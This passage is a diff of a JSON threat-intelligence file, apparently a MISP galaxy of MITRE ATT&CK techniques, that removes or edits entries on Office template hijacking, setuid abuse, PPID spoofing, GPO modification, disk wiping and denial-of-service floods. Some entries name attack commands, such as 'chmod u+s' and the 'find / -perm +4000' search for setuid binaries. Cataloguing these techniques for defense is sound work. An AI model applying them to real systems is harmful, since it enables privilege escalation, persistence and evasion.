\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "meta": { @@ -9343,79 +8464,6 @@ "uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "value": "System Language Discovery - T1614.001" }, - { - "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.\n\nOne method to achieve [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) is by modifying the contents of the device clipboard. Malicious applications may monitor clipboard activity through the `ClipboardManager.OnPrimaryClipChangedListener` interface on Android to determine when clipboard contents have changed. Listening to clipboard activity, reading clipboard contents, and modifying clipboard contents requires no explicit application permissions and can be performed by applications running in the background. However, this behavior has changed with the release of Android 10.\n\nAdversaries may use [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) to replace text prior to being pasted. For example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.\n\n[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) was seen within the Android/Clipper.C trojan. This sample was detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)", - "meta": { - "external_id": "T1641.001", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1641/001", - "https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/" - ] - }, - "related": [ - { - "dest-uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", - "type": "subtechnique-of" - } - ], - "uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", - "value": "Transmitted Data Manipulation - T1641.001" - }, - { - "description": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed). ", - "meta": { - "external_id": "T1481.001", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1481/001" - ] - }, - "related": [ - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "type": "subtechnique-of" - } - ], - "uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", - "value": "Dead Drop Resolver - T1481.001" - }, - { - "description": "Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1418/001) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions. ", - "meta": { - "external_id": "APP-12", - "kill_chain": [ - "mitre-mobile-attack:discovery" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1418/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" - ] - }, - "related": [ - { - "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", - "type": "subtechnique-of" - } - ], - "uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", - "value": "Security Software Discovery - T1418.001" - }, { "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", "meta": { @@ -9453,7 +8501,7 @@ "value": "Disk Content Wipe - T1561.001" }, { - "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)", + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)", "meta": { "external_id": "CAPEC-581", "kill_chain": [ @@ -9479,7 +8527,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1518/001", "https://capec.mitre.org/data/definitions/581.html", - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html", "https://expel.io/blog/finding-evil-in-aws/" ] }, @@ -9517,42 +8564,6 @@ "uuid": "ed730f20-0e44-48b9-85f8-0e2adeb76867", "value": "Determine Physical Locations - T1591.001" }, - { - "description": "Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices)\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information.(Citation: eset-finance) Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.(Citation: Group IB Gustuff Mar 2019) \n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android’s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)", - "meta": { - "external_id": "APP-31", - "kill_chain": [ - "mitre-mobile-attack:credential-access", - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://cloak-and-dagger.org/", - "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf", - "https://attack.mitre.org/techniques/T1417/002", - "https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf", - "https://developer.android.com/guide/components/activities/background-starts", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", - "https://www.group-ib.com/blog/gustuff", - "https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/", - "https://www.skycure.com/blog/accessibility-clickjacking/", - "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html", - "https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/", - "https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/" - ] - }, - "related": [ - { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", - "type": "subtechnique-of" - } - ], - "uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", - "value": "GUI Input Capture - T1417.002" - }, { "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", "meta": { @@ -9628,82 +8639,6 @@ "uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "value": "Disk Structure Wipe - T1561.002" }, - { - "description": "Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642), factory resetting the device for [File Deletion](https://attack.mitre.org/techniques/T1630/002) and to delete any traces of the malware, disabling all the device’s cameras, or to make it more difficult to uninstall the app.\n\nDevice administrators must be approved by the user at runtime, with a system popup showing which actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1626/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" - ] - }, - "related": [ - { - "dest-uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", - "type": "subtechnique-of" - } - ], - "uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", - "value": "Device Administrator Permissions - T1626.001" - }, - { - "description": "A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. \n\nThis behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker) \n\nBeginning in Android 10, changes were introduced to inhibit malicious applications’ ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application’s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app’s details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application’s details page in the system settings.(Citation: Android 10 Limitations to Hiding App Icons)(Citation: LauncherApps getActivityList)", - "meta": { - "external_id": "T1628.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1628/001", - "https://developer.android.com/reference/kotlin/android/content/pm/LauncherApps#getactivitylist", - "https://source.android.com/setup/start/android-10-release#limitations_to_hiding_app_icons", - "https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker", - "https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/", - "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" - ] - }, - "related": [ - { - "dest-uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", - "type": "subtechnique-of" - } - ], - "uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", - "value": "Suppress Application Icon - T1628.001" - }, - { - "description": "Adversaries may abuse the Android device administration API to prevent the user from uninstalling a target application. In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.\n\nAdversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal.", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1629/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" - ] - }, - "related": [ - { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "type": "subtechnique-of" - } - ], - "uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", - "value": "Prevent Application Removal - T1629.001" - }, { "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "meta": { @@ -9796,32 +8731,6 @@ "uuid": "2339cf19-8f1e-48f7-8a91-0262ba547b6f", "value": "Identify Business Tempo - T1591.003" }, - { - "description": "Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1637/001) (DGAs) to procedurally generate domain names for uses such as command and control communication or malicious application distribution.(Citation: securelist rotexy 2018)\n\nDGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there could potentially be thousands of domains that malware can check for instructions.", - "meta": { - "external_id": "T1637.001", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1637/001", - "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", - "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/" - ] - }, - "related": [ - { - "dest-uuid": "2ccc3d39-9598-4d32-9657-42e1c7095d26", - "type": "subtechnique-of" - } - ], - "uuid": "fd211238-f767-4599-8c0d-9dca36624626", - "value": "Domain Generation Algorithms - T1637.001" - }, { "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", "meta": { @@ -9860,39 +8769,7 @@ "value": "Group Policy Modification - T1484.001" }, { - "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.", - "meta": { - "external_id": "T1564.010", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process: Process Creation" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1564/010", - "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/", - "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", - "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/", - "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb", - "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", - "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode" - ] - }, - "related": [ - { - "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", - "type": "subtechnique-of" - } - ], - "uuid": "ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", - "value": "Process Argument Spoofing - T1564.010" - }, - { - "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)", + "description": "An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).", "meta": { "external_id": "T1548.001", "kill_chain": [ @@ -9911,7 +8788,6 @@ "refs": [ "http://man7.org/linux/man-pages/man2/setuid.2.html", "https://attack.mitre.org/techniques/T1548/001", - "https://gtfobins.github.io/#+suid", "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" ] }, @@ -9925,7 +8801,7 @@ "value": "Setuid and Setgid - T1548.001" }, { - "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", + "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "meta": { "external_id": "CAPEC-486", "kill_chain": [ @@ -9963,7 +8839,7 @@ "value": "Direct Network Flood - T1498.001" }, { - "description": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", + "description": "Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", "meta": { "external_id": "CAPEC-482", "kill_chain": [ @@ -10032,7 +8908,7 @@ "value": "Domain Controller Authentication - T1556.001" }, { - "description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need 